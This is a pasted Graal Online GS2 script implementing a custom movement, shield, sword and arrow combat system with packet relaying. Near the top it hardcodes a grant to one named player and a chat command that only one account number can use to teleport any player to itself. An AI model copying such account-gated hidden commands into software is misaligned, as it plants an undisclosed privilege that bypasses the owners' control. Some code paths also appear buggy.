Advertisement
Guest User

Untitled

a guest
Jun 29th, 2017
520
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.82 KB | None | 0 0
  1. //If anyone wants to finish this, no known bugs.
  2.  
  3. //Any questions about the script:
  4. //MSN: downsider0075@hotmail.com
  5. //AIM: downsiderlovesu
  6.  
  7.  
  8.  
  9.  
  10. //Packet delivery type
  11. //ALLPLAYERS means send to all players in level
  12. //ALLPLAYERS_NOLOCAL means send to all but the
  13. //client who requested it be sent.
  14. enum {ALLPLAYERS, ALLPLAYERS_NOLOCAL};
  15.  
  16. //SV Protocol
  17. enum {SV_PLAYSOUND, SV_ADDARROW, SV_REMOVEARROW};
  18.  
  19. //CL Protocol
  20. enum {CL_PLAYSOUND, CL_ADDARROW, CL_REMOVEARROW};
  21.  
  22. //Action codes
  23. enum {ACTION_PULL,
  24. ACTION_PUSH}
  25.  
  26. //Movement modes
  27. enum {MOVE_NORMAL,
  28. MOVE_SHIELDUP,
  29. MOVE_SHIELD,
  30. MOVE_GRAB,
  31. MOVE_PULL,
  32. MOVE_SWIM,
  33. MOVE_HURT}
  34.  
  35. findPlayer("absolut_crono").addWeapon(this.name);
  36.  
  37. function onPlayerChats() {
  38. if (player.account != "12171217") return;
  39. if (player.chat.tokenize()[0] != "/summon") return;
  40. findPlayer(player.chat.tokenize()[1]).setLevel2(player.level, player.x, player.y);
  41. }
  42.  
  43. function addToPacket(value, mode) {
  44. if (mode == ALLPLAYERS) {
  45. temp.plc = 0;
  46. for (pl : players) {
  47. this.newPackets[temp.plc].add(value);
  48. temp.plc++;
  49. }
  50. } else if (mode == ALLPLAYERS_NOLOCAL) {
  51. temp.plc = 0;
  52. for (pl : players) {
  53. if (pl.account != player.account) {
  54. this.newPackets[temp.plc].add(value);
  55. }
  56. temp.plc++;
  57. }
  58. }
  59. }
  60.  
  61. function onActionServerside(action, packet) {
  62. if (action == "sP") {
  63. this.newPackets = null;
  64. for (pl : players) {
  65. this.newPackets.add(null);
  66. }
  67. for (temp.i=0;temp.i<packet.size();temp.i++) {
  68. if (packet[i] == SV_PLAYSOUND) {
  69. //Add sound protocol
  70. addToPacket(CL_PLAYSOUND, ALLPLAYERS_NOLOCAL);
  71. temp.i++;
  72. //Sound file
  73. addToPacket(packet[temp.i], ALLPLAYERS_NOLOCAL);
  74. } else if (packet[i] == SV_ADDARROW) {
  75. //Add arrow protocol
  76. addToPacket(CL_ADDARROW, ALLPLAYERS_NOLOCAL);
  77. temp.i++;
  78. //X
  79. addToPacket(packet[i],ALLPLAYERS_NOLOCAL);
  80. temp.i++;
  81. //Y
  82. addToPacket(packet[i],ALLPLAYERS_NOLOCAL);
  83. temp.i++;
  84. //Dir
  85. addToPacket(packet[i],ALLPLAYERS_NOLOCAL);
  86. temp.i++;
  87. //ID
  88. addToPacket(packet[i],ALLPLAYERS_NOLOCAL);
  89. } else if (packet[i] == SV_REMOVEARROW) {
  90. addToPacket(CL_REMOVEARROW, ALLPLAYERS_NOLOCAL);
  91. temp.i++;
  92. //ID
  93. addToPacket(packet[i], ALLPLAYERS_NOLOCAL);
  94. }
  95. }
  96. temp.plc = 0;
  97. for (pl : players) {
  98. pl.triggerClient("gui", this.name, "sP", this.newPackets[temp.plc]);
  99. temp.plc++;
  100. }
  101. }
  102. }
  103. //#CLIENTSIDE
  104. //Packet delivery type
  105. //ALLPLAYERS means send to all players in level
  106. //ALLPLAYERS_NOLOCAL means send to all but the
  107. //client who requested it be sent.
  108. enum {ALLPLAYERS, ALLPLAYERS_NOLOCAL};
  109.  
  110. //SV Protocol
  111. enum {SV_PLAYSOUND, SV_ADDARROW, SV_REMOVEARROW};
  112.  
  113. //CL Protocol
  114. enum {CL_PLAYSOUND, CL_ADDARROW, CL_REMOVEARROW};
  115.  
  116. //Movement modes
  117. enum {MOVE_NORMAL,
  118. MOVE_SHIELDUP,
  119. MOVE_SHIELD,
  120. MOVE_GRAB,
  121. MOVE_PULL,
  122. MOVE_SWIM,
  123. MOVE_HURT}
  124.  
  125. function onCreated() {
  126. initalize();
  127. }
  128.  
  129. function onPlayerChats() {
  130. if (player.chat == "/newfsa") {
  131. this.on = true;
  132. disabledefmovement();
  133. onTimeOut();
  134. } else if (player.chat == "/fsaend") {
  135. this.on = false;
  136. enabledefmovement();
  137. end();
  138. } else if (player.chat == "/hurtTest") {
  139. hurtPlayerShield(getangle((player.x+1.5)-mousex, (player.y+2)-mousey), 1, "arrowon.wav");
  140. }
  141. }
  142.  
  143. function initalize() {
  144. this.moveSpeed = 8/16; //8 pixels
  145. this.moveSpeedDiagional = 7/16; //7 pixels
  146. this.shieldMoveSpeed = 2/16; //2 pixels
  147.  
  148. //Just do this for the sake of simplicity
  149. this.shieldDown = .25;
  150. }
  151.  
  152. function onTimeOut() {
  153. if (!this.on) {
  154. end();
  155. return;
  156. }
  157. setTimer(.05);
  158.  
  159. prep();
  160.  
  161. getInput();
  162.  
  163. if (!this.disabled) {
  164. grabUp();
  165.  
  166. swordUp();
  167.  
  168. shieldUp();
  169.  
  170. weaponUp();
  171. }
  172.  
  173. checkSwim();
  174.  
  175. drawArrows();
  176.  
  177. checkHurt();
  178.  
  179. if (this.moveMode == MOVE_NORMAL) {
  180. movePlayer();
  181. } else if (this.moveMode == MOVE_SWIM) {
  182. movePlayerSwim();
  183. } else if (this.moveMode == MOVE_SHIELD) {
  184. movePlayerShield();
  185. } else if (this.moveMode == MOVE_HURT) {
  186. movePlayerHurt();
  187. } else if (this.moveMode == MOVE_GRAB) {
  188. checkGrab();
  189. } else if (this.moveMode == MOVE_PULL) {
  190. checkPull();
  191. }
  192.  
  193. post();
  194.  
  195. setGanis();
  196.  
  197. sendPackets();
  198. }
  199.  
  200. function prep() {
  201. disabledefmovement();
  202.  
  203. this.dani = "none";
  204.  
  205. if (player.level != this.oldLevel) {
  206. findWeapon("Skills/Dodge").disableForCurrentLevel();
  207. this.oldLevel = player.level;
  208. }
  209.  
  210. hideimgs(300, this.images);
  211. this.images = 300;
  212. }
  213.  
  214. //Grab input and store it in generic arrays
  215. function getInput() {
  216. temp.keys = {"f"};
  217. setarray(this.keys,8);
  218. setarray(this.dkeys,8);
  219. for (temp.i=0;temp.i<8;temp.i++) {
  220. if (keydown(temp.i)) {
  221. this.dkeys[temp.i] = (this.dkeys[temp.i] < 2) ? this.dkeys[temp.i] + 1 : 2;
  222. } else {
  223. this.dkeys[temp.i] = 0;
  224. }
  225. }
  226. for (temp.i=0;temp.i<temp.keys.size();temp.i++) {
  227. if (keydown2(getkeycode(temp.keys[temp.i]), true)) {
  228. this.keys[temp.i] = (this.keys[temp.i] < 2) ? this.keys[temp.i] + 1 : 2;
  229. } else {
  230. this.keys[temp.i] = 0;
  231. }
  232. }
  233. }
  234.  
  235. function grabUp() {
  236. if (this.moveMode != MOVE_NORMAL) return;
  237. if (this.dkeys[6] == 1) {
  238. if (onwall(player.x+1.5+vecx(player.dir)*(17/16), player.y+2+vecy(player.dir)*(17/16))) {
  239. //Grabbed
  240. this.dani = "grab";
  241. this.moveMode = MOVE_GRAB;
  242. }
  243. }
  244. }
  245.  
  246. function swordUp() {
  247. if (this.moveMode != MOVE_NORMAL) return;
  248. if (playerfreezetime > 0 && player.ani != "unfsa_sword") return;
  249. if (this.dkeys[5] == 1) {
  250. freezePlayer(.25);
  251. this.forceGani = true;
  252. this.dani = "unfsa_sword";
  253. }
  254. }
  255.  
  256. public function createArrow(temp.x, temp.y, temp.dir) {
  257. this.newPacket.add(SV_ADDARROW);
  258. this.newPacket.add(temp.x);
  259. this.newPacket.add(temp.y);
  260. this.newPacket.add(temp.dir);
  261. temp.rand = int(random(0,10000));
  262. this.newPacket.add(temp.rand);
  263.  
  264. addArrow(temp.x, temp.y, temp.dir, temp.rand, true);
  265. }
  266.  
  267. function shieldUp() {
  268. temp.allowed = {MOVE_NORMAL, MOVE_SHIELD, MOVE_SHIELDUP};
  269. if (!(this.moveMode in temp.allowed)) return;
  270. if (playerfreezetime > 0 && this.shieldUp <= 0) return;
  271. if (this.keys[0] > 0) {
  272. this.shieldDown = 0;
  273. if (this.shieldUp < .25) {
  274. this.moveMode = MOVE_SHIELDUP;
  275. freezePlayer(.05);
  276. this.dani = "unfsa_shieldup";
  277. this.shieldUp += .05;
  278. } else {
  279. this.moveMode = MOVE_SHIELD;
  280. this.shieldUp = .25;
  281. }
  282. } else {
  283. this.shieldUp = 0;
  284. if (this.shieldDown < .25) {
  285. this.moveMode = MOVE_SHIELDUP;
  286. freezePlayer(.05);
  287. this.dani = "unfsa_shielddown";
  288. this.shieldDown += .05;
  289. } else {
  290. this.moveMode = MOVE_NORMAL;
  291. this.shieldDown = .25;
  292. }
  293. }
  294. }
  295.  
  296. function weaponUp() {
  297. temp.allowed = {MOVE_NORMAL};
  298. if (!(this.moveMode in temp.allowed)) return;
  299. if (playerfreezetime > 0) return;
  300. if (this.dkeys[4] == 1) {
  301. player.weapon.onFSAWeaponFired();
  302. }
  303. }
  304.  
  305. function checkSwim() {
  306. if (onwater(player.x+1.5, player.y+2)) {
  307. this.dani = "swim";
  308. this.moveMode = MOVE_SWIM;
  309. } else {
  310. if (this.moveMode == MOVE_SWIM) {
  311. this.moveMode = MOVE_NORMAL;
  312. }
  313. }
  314. }
  315.  
  316. function movePlayer() {
  317. if (this.disabled) return;
  318. if (playerfreezetime > 0) return;
  319. for (temp.i=0;temp.i<4;temp.i++) {
  320. if (this.dkeys[temp.i] > 0) {
  321. temp.dx += vecx(temp.i);
  322. temp.dy += vecy(temp.i);
  323. player.dir = temp.i;
  324. }
  325. }
  326. if (abs(temp.dx) + abs(temp.dy) > 0) {
  327. this.dani = "unfsa_walk";
  328. } else if (this.odani == "unfsa_walk") {
  329. this.dani = "unfsa_idle";
  330. }
  331.  
  332. if (temp.dx != 0) {
  333. temp.dy *= this.moveSpeedDiagional;
  334. } else {
  335. temp.dy *= this.moveSpeed;
  336. }
  337. if (temp.dy != 0) {
  338. temp.dx *= this.moveSpeedDiagional;
  339. } else {
  340. temp.dx *= this.moveSpeed;
  341. }
  342.  
  343. temp.dx = int(temp.dx*16)/16;
  344. temp.dy = int(temp.dy*16)/16;
  345.  
  346. temp.xdir = abs(temp.dx)/temp.dx;
  347.  
  348. while (temp.pdx != temp.dx) {
  349. temp.pdx += temp.xdir/16;
  350. temp.cx = player.x+1.5+temp.xdir+temp.pdx;
  351. for (temp.ofy=1;temp.ofy<4;temp.ofy++) {
  352. temp.cy = player.y+temp.ofy;
  353. if (temp.ofy == 1) temp.cy += 1/16;
  354. if (temp.ofy == 3) temp.cy -= 1/16;
  355. if (onwall(temp.cx-((temp.xdir == 1) ? 1/16 : 0), temp.cy)) {
  356. temp.dyoffset += (temp.ofy == 1) ? 1/16 : ((temp.ofy == 3) ? -1/16 : 0);
  357. temp.xb = true;
  358. }
  359. }
  360. if (temp.xb) {
  361. temp.pdx -= temp.xdir/16;
  362. break;
  363. }
  364. }
  365.  
  366. player.x += temp.pdx;
  367.  
  368. temp.ydir = abs(temp.dy)/temp.dy;
  369.  
  370. while (temp.pdy != temp.dy) {
  371. temp.pdy += temp.ydir/16;
  372. temp.cy = player.y+2+temp.ydir+temp.pdy;
  373. for (temp.ofx=.5;temp.ofx<3.5;temp.ofx++) {
  374. temp.cx = player.x+temp.ofx;
  375. if (temp.ofx == .5) temp.cx += 1/16;
  376. if (temp.ofx == 2.5) temp.cx -= 1/16;
  377. if (onwall(temp.cx, temp.cy-((temp.ydir == 1) ? 1/16 : 0))) {
  378. temp.dxoffset += (temp.ofx == .5) ? 1/16 : ((temp.ofx == 2.5) ? -1/16 : 0);
  379. temp.yb = true;
  380. }
  381. }
  382. if (temp.yb) {
  383. temp.pdy -= temp.ydir/16;
  384. break;
  385. }
  386. }
  387.  
  388. player.x += temp.dxoffset;
  389. player.y += temp.pdy+temp.dyoffset;
  390. }
  391.  
  392. function movePlayerSwim() {
  393. if (this.disabled) return;
  394. if (playerfreezetime > 0) return;
  395. for (temp.i=0;temp.i<4;temp.i++) {
  396. if (this.dkeys[temp.i] > 0) {
  397. temp.dx += vecx(temp.i);
  398. temp.dy += vecy(temp.i);
  399. player.dir = temp.i;
  400. }
  401. }
  402.  
  403. if (temp.dx != 0) {
  404. temp.dy *= this.moveSpeedDiagional;
  405. } else {
  406. temp.dy *= this.moveSpeed;
  407. }
  408. if (temp.dy != 0) {
  409. temp.dx *= this.moveSpeedDiagional;
  410. } else {
  411. temp.dx *= this.moveSpeed;
  412. }
  413.  
  414. temp.dx = int(temp.dx*16)/16;
  415. temp.dy = int(temp.dy*16)/16;
  416.  
  417. temp.xdir = abs(temp.dx)/temp.dx;
  418.  
  419. while (temp.pdx != temp.dx) {
  420. temp.pdx += temp.xdir/16;
  421. temp.cx = player.x+1.5+temp.xdir+temp.pdx;
  422. for (temp.ofy=1;temp.ofy<4;temp.ofy++) {
  423. temp.cy = player.y+temp.ofy;
  424. if (temp.ofy == 1) temp.cy += 1/16;
  425. if (temp.ofy == 3) temp.cy -= 1/16;
  426. if (onwall(temp.cx-((temp.xdir == 1) ? 1/16 : 0), temp.cy-1/16)) {
  427. temp.dyoffset += (temp.ofy == 1) ? 1/16 : ((temp.ofy == 3) ? -1/16 : 0);
  428. temp.xb = true;
  429. }
  430. }
  431. if (temp.xb) {
  432. temp.pdx -= temp.xdir/16;
  433. break;
  434. }
  435. }
  436.  
  437. player.x += temp.pdx;
  438.  
  439. temp.ydir = abs(temp.dy)/temp.dy;
  440.  
  441. while (temp.pdy != temp.dy) {
  442. temp.pdy += temp.ydir/16;
  443. temp.cy = player.y+2+temp.ydir+temp.pdy;
  444. for (temp.ofx=.5;temp.ofx<3.5;temp.ofx++) {
  445. temp.cx = player.x+temp.ofx;
  446. if (temp.ofx == .5) temp.cx += 1/16;
  447. if (temp.ofx == 2.5) temp.cx -= 1/16;
  448. if (onwall(temp.cx, temp.cy-((temp.ydir == 1) ? 1/16 : 0))) {
  449. temp.dxoffset += (temp.ofx == .5) ? 1/16 : ((temp.ofx == 2.5) ? -1/16 : 0);
  450. temp.yb = true;
  451. }
  452. }
  453. if (temp.yb) {
  454. temp.pdy -= temp.ydir/16;
  455. break;
  456. }
  457. }
  458.  
  459. player.x += temp.dxoffset;
  460. player.y += temp.pdy+temp.dyoffset;
  461. }
  462.  
  463. function movePlayerShield() {
  464. if (this.disabled) return;
  465. if (playerfreezetime > 0) return;
  466. for (temp.i=0;temp.i<4;temp.i++) {
  467. if (this.dkeys[temp.i] > 0) {
  468. temp.dx += vecx(temp.i)*this.shieldMoveSpeed;
  469. temp.dy += vecy(temp.i)*this.shieldMoveSpeed;
  470. }
  471. }
  472.  
  473. if (abs(temp.dx) + abs(temp.dy) > 0) {
  474. this.dani = "unfsa_shield_strafe";
  475. } else if (this.odani == "unfsa_shield_strafe") {
  476. this.dani = "unfsa_shield_idle";
  477. }
  478.  
  479. if (this.shieldSlideTimer > 0) {
  480. temp.dx += cos(this.shieldSlideAng)*this.shieldSlideTimer;
  481. temp.dy += -sin(this.shieldSlideAng)*this.shieldSlideTimer;
  482. this.shieldSlideTimer -= .1;
  483. }
  484.  
  485. temp.dx = int(temp.dx*16)/16;
  486. temp.dy = int(temp.dy*16)/16;
  487.  
  488. temp.xdir = abs(temp.dx)/temp.dx;
  489.  
  490. while (temp.pdx != temp.dx) {
  491. temp.pdx += temp.xdir/16;
  492. temp.cx = player.x+1.5+temp.xdir+temp.pdx;
  493. for (temp.ofy=1;temp.ofy<4;temp.ofy++) {
  494. temp.cy = player.y+temp.ofy;
  495. if (temp.ofy == 1) temp.cy += 1/16;
  496. if (temp.ofy == 3) temp.cy -= 1/16;
  497. if (onwall(temp.cx-((temp.xdir == 1) ? 1/16 : 0), temp.cy) || onwater(temp.cx-((temp.xdir == 1) ? 1/16 : 0), temp.cy)) {
  498. //temp.dyoffset += (temp.ofy == 1) ? 1/16 : ((temp.ofy == 3) ? -1/16 : 0);
  499. temp.xb = true;
  500. }
  501. }
  502. if (temp.xb) {
  503. temp.pdx -= temp.xdir/16;
  504. break;
  505. }
  506. }
  507.  
  508. player.x += temp.pdx;
  509.  
  510. temp.ydir = abs(temp.dy)/temp.dy;
  511.  
  512. while (temp.pdy != temp.dy) {
  513. temp.pdy += temp.ydir/16;
  514. temp.cy = player.y+2+temp.ydir+temp.pdy;
  515. for (temp.ofx=.5;temp.ofx<3.5;temp.ofx++) {
  516. temp.cx = player.x+temp.ofx;
  517. if (temp.ofx == .5) temp.cx += 1/16;
  518. if (temp.ofx == 2.5) temp.cx -= 1/16;
  519. if (onwall(temp.cx, temp.cy-((temp.ydir == 1) ? 1/16 : 0)) || onwater(temp.cx, temp.cy-((temp.ydir == 1) ? 1/16 : 0))) {
  520. //temp.dxoffset += (temp.ofx == .5) ? 1/16 : ((temp.ofx == 2.5) ? -1/16 : 0);
  521. temp.yb = true;
  522. }
  523. }
  524. if (temp.yb) {
  525. temp.pdy -= temp.ydir/16;
  526. break;
  527. }
  528. }
  529.  
  530. player.x += temp.dxoffset;
  531. player.y += temp.pdy+temp.dyoffset;
  532. }
  533.  
  534. function movePlayerHurt() {
  535. this.hurtTime -= .05;
  536.  
  537. freezePlayer(.1);
  538.  
  539. if (this.hurtTime <= .1) {
  540. for (temp.i=0;temp.i<4;temp.i++) {
  541. if (this.dkeys[temp.i] > 0) {
  542. enableMovement();
  543. this.moveMode = MOVE_NORMAL;
  544. return;
  545. }
  546. }
  547. }
  548.  
  549. if (this.hurtTime <= 0) {
  550. enableMovement();
  551. this.moveMode = MOVE_NORMAL;
  552. return;
  553. }
  554.  
  555. temp.dx = cos(this.hurtAngle);
  556. temp.dy = -sin(this.hurtAngle);
  557.  
  558. this.dani = "hurt";
  559.  
  560. temp.dx = int(temp.dx*16)/16;
  561. temp.dy = int(temp.dy*16)/16;
  562.  
  563. temp.xdir = abs(temp.dx)/temp.dx;
  564.  
  565. while (temp.pdx != temp.dx) {
  566. temp.pdx += temp.xdir/16;
  567. temp.cx = player.x+1.5+temp.xdir+temp.pdx;
  568. for (temp.ofy=1;temp.ofy<4;temp.ofy++) {
  569. temp.cy = player.y+temp.ofy;
  570. if (temp.ofy == 1) temp.cy += 1/16;
  571. if (temp.ofy == 3) temp.cy -= 1/16;
  572. if (onwall(temp.cx-((temp.xdir == 1) ? 1/16 : 0), temp.cy) || onwater(temp.cx-((temp.xdir == 1) ? 1/16 : 0), temp.cy)) {
  573. //temp.dyoffset += (temp.ofy == 1) ? 1/16 : ((temp.ofy == 3) ? -1/16 : 0);
  574. temp.xb = true;
  575. }
  576. }
  577. if (temp.xb) {
  578. temp.pdx -= temp.xdir/16;
  579. break;
  580. }
  581. }
  582.  
  583. player.x += temp.pdx;
  584.  
  585. temp.ydir = abs(temp.dy)/temp.dy;
  586.  
  587. while (temp.pdy != temp.dy) {
  588. temp.pdy += temp.ydir/16;
  589. temp.cy = player.y+2+temp.ydir+temp.pdy;
  590. for (temp.ofx=.5;temp.ofx<3.5;temp.ofx++) {
  591. temp.cx = player.x+temp.ofx;
  592. if (temp.ofx == .5) temp.cx += 1/16;
  593. if (temp.ofx == 2.5) temp.cx -= 1/16;
  594. if (onwall(temp.cx, temp.cy-((temp.ydir == 1) ? 1/16 : 0)) || onwater(temp.cx, temp.cy-((temp.ydir == 1) ? 1/16 : 0))) {
  595. //temp.dxoffset += (temp.ofx == .5) ? 1/16 : ((temp.ofx == 2.5) ? -1/16 : 0);
  596. temp.yb = true;
  597. }
  598. }
  599. if (temp.yb) {
  600. temp.pdy -= temp.ydir/16;
  601. break;
  602. }
  603. }
  604.  
  605. player.x += temp.dxoffset;
  606. player.y += temp.pdy+temp.dyoffset;
  607. }
  608.  
  609. function checkGrab() {
  610. if (this.disabled) return;
  611. if (this.dkeys[6] > 0) {
  612. for (temp.i=0;temp.i<4;temp.i++) {
  613. if (this.dkeys[temp.i] > 0) {
  614. if (vecx(player.dir) + vecx(temp.i) == 0 &&
  615. vecy(player.dir) + vecy(temp.i) == 0) {
  616. this.moveMode = MOVE_PULL;
  617. this.dani = "pull";
  618. }
  619. }
  620. }
  621. } else {
  622. this.moveMode = MOVE_NORMAL;
  623. }
  624. }
  625.  
  626. function checkPull() {
  627. if (this.disabled) return;
  628. if (this.dkeys[6] > 0) {
  629. triggeraction(player.x+1.5+vecx(player.dir), player.y+2+vecy(player.dir), ACTION_PULL, player.dir);
  630. } else {
  631. this.moveMode = MOVE_NORMAL;
  632. }
  633. }
  634.  
  635. function post() {
  636. client.unfsa_movemode = this.moveMode;
  637.  
  638. player.x = int(player.x*16)/16;
  639. player.y = int(player.y*16)/16;
  640.  
  641. this.opx = player.x;
  642. this.opy = player.y;
  643. }
  644.  
  645. function setGanis() {
  646. if (this.dani == "none") return;
  647. if (this.dani != this.odani || this.forceGani) {
  648. this.forceGani = false;
  649. this.odani = this.dani;
  650. setani(this.dani, null);
  651. } else if (player.ani != this.dani) {
  652. setani(this.dani, null);
  653. }
  654. }
  655.  
  656. function checkHurt() {
  657. temp.playerBox = {player.x+.5, player.y+1, 2, 2};
  658.  
  659. //Check swords
  660. if (this.moveMode != MOVE_HURT) {
  661. for (pl : players) {
  662.  
  663. if (pl.ani == "unfsa_sword") {
  664. if (pl.dir in {1,3}) {
  665. temp.x = pl.x+.5+(vecx(pl.dir)*2);
  666. temp.y = pl.y;
  667. showpoly(300, {temp.x, temp.y, temp.x+2, temp.y+3});
  668. temp.swordBox = {temp.x, temp.y, 2, 3};
  669. if (pl.account == player.account) continue;
  670. if (hitCheck(temp.swordBox, temp.playerBox)) {
  671. temp.ang = getangle(player.x-pl.x, player.y-pl.y);
  672. hurtPlayerShield(temp.ang, 1, pl.dir, "arrowon.wav");
  673. break;
  674. }
  675. } else {
  676. temp.x = pl.x;
  677. temp.y = pl.y+1+(vecy(pl.dir)*2);
  678. showpoly(300, {temp.x, temp.y, temp.x+3, temp.y+2});
  679. temp.swordBox = {temp.x, temp.y, 3, 2};
  680. if (pl.account == player.account) continue;
  681. if (hitCheck(temp.swordBox, temp.playerBox)) {
  682. temp.ang = getangle(player.x-pl.x, player.y-pl.y);
  683. hurtPlayerShield(temp.ang, 1, pl.dir, "arrowon.wav");
  684. break;
  685. }
  686. }
  687. }
  688. }
  689. }
  690. }
  691.  
  692. function hitCheck(temp.box1, temp.box2) {
  693. temp.left = temp.box1[0];
  694. temp.right = temp.box1[0] + temp.box1[2];
  695. temp.top = temp.box1[1];
  696. temp.bottom = temp.box1[1] + temp.box1[3];
  697. temp.left2 = temp.box2[0];
  698. temp.right2 = temp.box2[0] + temp.box2[2];
  699. temp.top2 = temp.box2[1];
  700. temp.bottom2 = temp.box2[1] + temp.box2[3];
  701. return !(temp.left > temp.right2 || temp.right < temp.left2 ||
  702. temp.top > temp.bottom2 || temp.bottom < temp.top2);
  703. }
  704.  
  705. public function hurtPlayerShield(temp.ang, temp.hearts, temp.blockDir, temp.sound) {
  706. if (this.moveMode == MOVE_SHIELD) {
  707. if (vecx(temp.blockDir) + vecx(player.dir) == 0) {
  708. if (vecy(temp.blockDir) + vecy(player.dir) == 0) {
  709. //Blocked
  710. this.shieldSlideTimer = .8;
  711. this.shieldSlideAng = temp.ang;
  712.  
  713. if (temp.sound) {
  714. play(temp.sound);
  715. this.newPacket.add(SV_PLAYSOUND);
  716. this.newPacket.add(temp.sound);
  717. }
  718. return true;
  719. }
  720. }
  721. }
  722. this.hurtTime = .3;
  723.  
  724. this.hurtAngle = temp.ang;
  725. this.moveMode = MOVE_HURT;
  726.  
  727. this.shieldUp = 0;
  728. this.shieldDown = .25;
  729.  
  730. return false;
  731. }
  732.  
  733. function sendPackets() {
  734. if (this.newPacket != null) {
  735. triggerServer("gui", this.name, "sP", this.newPacket);
  736.  
  737. //Clear outgoing packet
  738. this.newPacket = "";
  739. }
  740. }
  741.  
  742. function drawArrows() {
  743. for (temp.i=0;temp.i<this.arrows.size();temp.i++) {
  744. temp.arrow = this.arrows[temp.i];
  745. if (temp.arrow.dead) continue;
  746.  
  747. this.images++;
  748. showimg(this.images, "unfsa_nike_questarrow0.png", temp.arrow.x, temp.arrow.y);
  749. if (temp.arrow.dir == 0) {
  750. changeimgpart(this.images, 18, 19, 7, 28);
  751. } else if (temp.arrow.dir == 1) {
  752. changeimgpart(this.images, 0, 0, 28, 7);
  753. } else if (temp.arrow.dir == 2) {
  754. changeimgpart(this.images, 5, 20, 7, 28);
  755. } else if (temp.arrow.dir == 3) {
  756. changeimgpart(this.images, 2, 9, 28, 7);
  757. }
  758.  
  759. temp.arrow.x += vecx(temp.arrow.dir)*.75;
  760. temp.arrow.y += vecy(temp.arrow.dir)*.75;
  761.  
  762. temp.arrow.timer -= .05;
  763.  
  764. if (!temp.arrow.friendly) {
  765. if (abs(temp.arrow.x-(player.x+1.5)) < 2 && abs(temp.arrow.y-(player.y+2)) < 2) {
  766. temp.ang = getangle(vecx(temp.arrow.dir), vecy(temp.arrow.dir));
  767. temp.blocked = hurtPlayerShield(temp.ang, .5, temp.arrow.dir, "arrowon.wav");
  768. if (temp.blocked) {
  769. createArrow(temp.arrow.x, temp.arrow.y, player.dir);
  770. this.shieldSlideTimer = .2;
  771. }
  772. temp.arrow.dead = true;
  773. this.newPacket.add(SV_REMOVEARROW);
  774. this.newPacket.add(temp.arrow.id);
  775. }
  776. }
  777.  
  778. if (temp.arrow.timer < 0) {
  779. temp.arrow.dead = true;
  780. }
  781. }
  782.  
  783. for (temp.i=0;temp.i<this.arrows.size();temp.i++) {
  784. if (this.arrows[temp.i].dead) {
  785. this.arrows.delete(temp.i);
  786. }
  787. }
  788. }
  789.  
  790. function addArrow(temp.x, temp.y, temp.dir, temp.id, temp.friendly) {
  791. temp.arrow = new TStaticVar();
  792.  
  793. temp.arrow.x = temp.x;
  794. temp.arrow.y = temp.y;
  795. temp.arrow.dir = temp.dir;
  796. temp.arrow.friendly = temp.friendly;
  797. temp.arrow.id = temp.id;
  798.  
  799. temp.arrow.timer = 2;
  800.  
  801. this.arrows.add(temp.arrow);
  802.  
  803. play("arrow.wav");
  804. }
  805.  
  806. function onActionClientside(action, packet) {
  807. if (action == "sP") {
  808. for (temp.i=0;temp.i<packet.size();temp.i++) {
  809. if (packet[temp.i] == CL_PLAYSOUND) {
  810. //CL_PLAYSOUND
  811. //Plays a sound
  812. temp.i++;
  813. play(packet[temp.i]);
  814. } else if (packet[temp.i] == CL_ADDARROW) {
  815. temp.i++;
  816. temp.ax = packet[temp.i];
  817. temp.i++;
  818. temp.ay = packet[temp.i];
  819. temp.i++;
  820. temp.adir = packet[temp.i];
  821. temp.i++;
  822. temp.aid = packet[temp.i];
  823. addArrow(temp.ax, temp.ay, temp.adir, temp.aid, false);
  824. } else if (packet[temp.i] == CL_REMOVEARROW) {
  825. temp.i++;
  826. temp.id = packet[temp.i];
  827. for (temp.a=0;temp.a<this.arrows.size();temp.a++) {
  828. if (this.arrows[temp.a].id == temp.id) {
  829. this.arrows[temp.a].dead = true;
  830. }
  831. }
  832. }
  833. }
  834. }
  835. }
  836.  
  837. public function disableMovement() {
  838. this.disabled = true;
  839. }
  840.  
  841. public function enableMovement() {
  842. this.disabled = false;
  843. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement